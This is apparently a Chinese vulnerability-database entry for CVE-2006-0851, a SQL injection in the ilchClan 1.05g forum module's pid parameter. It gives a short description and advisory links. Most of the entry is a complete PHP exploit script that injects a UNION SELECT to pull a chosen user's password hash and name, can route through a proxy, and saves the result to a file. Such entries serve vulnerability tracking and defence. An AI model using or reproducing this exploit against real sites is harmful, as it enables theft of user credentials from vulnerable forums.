IlchClan forum模块SQL注入漏洞

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漏洞ID 1109786 漏洞类型 SQL注入
发布时间 2006-02-20 更新时间 2006-02-23
CVE编号 CVE-2006-0851 CNNVD-ID CNNVD-200602-343
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/1516
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200602-343
|漏洞详情
ilchClan1.05g及之前版本的forum模块存在SQL注入漏洞。远程攻击者可以在创建新张贴时借助pid参数执行任意SQL命令。
|漏洞EXP
<?
error_reporting(E_ERROR);

function xss_init()
{
    if (!extension_loaded('php_curl'))
    {
       if (!dl('curl.so') and !dl('php_curl.so') and !dl('php_curl.dll'))
       die ("oo error - cannot load curl extension!");
    }
}

function xss_header()
{
    echo "\noooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo";
    echo "                                  oo    ooooooo     ooooooo\n";
    echo "                    oooo   oooo o888  o88     888 o888   888o\n";
    echo "                      888o888    888        o888   888888888\n";
    echo "                      o88888o    888     o888   o 888o   o888\n";
    echo "                    o88o   o88o o888o o8888oooo88   88ooo88\n";
    echo "oooooooooooooooooooooooooooooo bxcp 0.299 exploit oooooooooooooooooooooooooooooo\n";
    echo "oo usage          $ php ilchclan-105g-exploit.php [url] [post id] [user id]\n";
    echo "oo proxy support  $ php ilchclan-105g-exploit.php [url] [post id] [user id]\n";
    echo "                    [proxy]:[port]\n";
    echo "oo [post id]      id of a post in the forum where a guest have the permission\n";
    echo "                  to write a reply with a quote\n";
    echo "oo example        $ php ilchclan-105g-exploit.php http://localhost 1 1\n";
    echo "oo open the file ilchclan_pw.html - there you find the password of the user\n\n";
}

function xss_bottom()
{
    echo "\noo discover : x128 - alexander wilhelm - 21/02/2006\n";
    echo "oo contact  : exploit <at> x128.net                    oo website : www.x128.net";
}

function xss_exploit()
{
    $xss_target = $_SERVER['argv'][1] . "/index.php";
    $xss_http_get = "?m=forum&um=newpost&tid=" . $_SERVER['argv'][2] . "&pid=" . urlencode("0 UNION SELECT pass, name FROM prefix_user WHERE id = ". $_SERVER['argv'][3] ."/*");

    $xss_connection = curl_init();

    if ($_SERVER['argv'][4])
    {
        curl_setopt($xss_connection, CURLOPT_TIMEOUT, 8);
        curl_setopt($xss_connection, CURLOPT_PROXY, $_SERVER['argv'][4]);
    }

    curl_setopt ($xss_connection, CURLOPT_URL, $xss_target . $xss_http_get);
    curl_setopt ($xss_connection, CURLOPT_HEADER, 0);
    curl_setopt ($xss_connection, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($xss_connection, CURLOPT_USERAGENT, 'x128');

    $xss_source = curl_exec($xss_connection) or die("oo error - cannot connect!\n");

    if ($xss_source) echo "oo dafaced ...\n";

    $xss_output = fopen("ilchclan_pw.html","w");
    fputs($xss_output, $xss_source);
    fclose($xss_output);

    curl_close ($xss_connection); 
}

xss_init();
xss_header();
xss_exploit();
xss_bottom();
?>

# milw0rm.com [2006-02-20]
|参考资料

来源:VUPEN
名称:ADV-2006-0672
链接:http://www.frsirt.com/english/advisories/2006/0672
来源:SECUNIA
名称:18951
链接:http://secunia.com/advisories/18951
来源:XF
名称:ilchclan-index-sql-injection(24829)
链接:http://xforce.iss.net/xforce/xfdb/24829
来源:BID
名称:16735
链接:http://www.securityfocus.com/bid/16735
来源:OSVDB
名称:23369
链接:http://www.osvdb.org/23369
来源:MILW0RM
名称:1516
链接:http://milw0rm.com/exploits/1516